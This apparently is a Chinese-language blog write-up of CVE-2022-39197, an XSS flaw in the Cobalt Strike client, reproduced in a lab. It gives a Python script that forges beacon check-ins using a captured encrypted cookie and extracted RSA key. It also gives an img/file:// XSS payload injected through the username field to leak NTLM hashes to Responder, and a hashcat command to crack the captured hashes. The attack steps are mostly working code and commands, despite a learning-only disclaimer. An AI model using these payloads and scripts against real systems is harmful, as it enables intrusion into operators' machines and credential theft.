
针对CS最新XSS漏洞的详细研究--CVE-2022-39197
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
1. 原理部分
1.1 CS上线流量
本地主机(vm8网卡): windows11 192.168.52.1
服务端: windows10 192.168.52.129
被控端: windows10 192.168.52.140
首先生成一个裸奔马,然后在被控端打开wireshark并且点击exe上线,我们这里只考虑应用层的包,所以过滤一下,我这里得到4个包

前两个先不看,先看3和4,他们比较亲民点,追踪流发现cookie
中存在一个加密过后的值,而凭借经验不难看出很大可能是RSA非对称加密,猜想这个就是上线的请求了(也就是心跳包)

为了验证猜想,我用本地主机利用python发出该请求代码如下(这里为了书写方便附加个hearder转字典地址:公众号后回复“header转字典”即可)
import requests
import time
url = 'http://192.168.52.128/fwlink'
header = {
"Cookie":"OphJmHM6fR6cjpj4DMdsF3epxwniVsGao14/2a2WmqR0EoEqKdrz92bfuNUurfO1m2NGY/YgEp6tiaZr1JpVaUa2mGYPjEJCiLxBj13VGk31G4E6uI5bG5EPvM4RjWUMZnrlfJiWNGygdJGeH9mpXz40zPFT1VjWd49Wf0QKZog=",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
"Host":"192.168.52.128",
"Connection":"Keep-Alive",
"Cache-Control":"no-cache"
}
while True:
requests.get(url,headers=header)
time.sleep(10)
可以看到达到效果了

当然我们这里想获得类似的信息也可以通过我们上图中第一个请求OwQF
来拿Stage分析出来,这里可以用大佬的工具

https://github.com/Sentinel-One/CobaltStrikeParser

上图中PublicKey
并不是真正的key,里面有些垃圾填充,就是后边那些AAAAAAA,所以正确的key如下所示
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB==
到这里就可以利用脚本来达到批量上线的目的了,这里可以利用LiAoRJ师傅现成的脚本达到上线的目的
https://github.com/LiAoRJ/CS_fakesubmit

原理也是非常简单,就是更改对应stage不同位置对应的值

2. XSS利用
目前CS出现XSS漏洞的原因主要是因为CS的客户端可以被HTML渲染,目前已知存在位置为计算机名,username等,因为再前面我们可以自定义上线,所以更改一下这些地方的信息不是难事
2.1 反制获取NTLM
这个是现在网上复现成功较多的,也非常简单,首先我在kali启动responder
responder -v -I eth0
开始监听

这时我们只需要将XSS的payload加到CS的用户名那里,payload如下
<html><img src='file://192.168.52.129/a'%>
我们还是利用fakesubmit
,然后将User_name字典的内容改成如下所示,然后上线一台机器

由于我们的这个payload有点长,而原有的fakesubmit
的rsa.encrypt
加密函数最多加密117字节,所以会报错,然后我简单的改了下脚本,如下图所示需要自己对照改

然后直接执行脚本上线

然后再回头看我们的kali

ok,这回我们可以拿着hash去爆破了

创建了test将hash放进去
#-m 指定密文类型,5600对应的就是NetNTLMv2
#--force 为忽略警告
hashcat -m 5600 ./test /Black/zidian/fuzzDicts/passwordDict/top500.txt --force
爆破成功
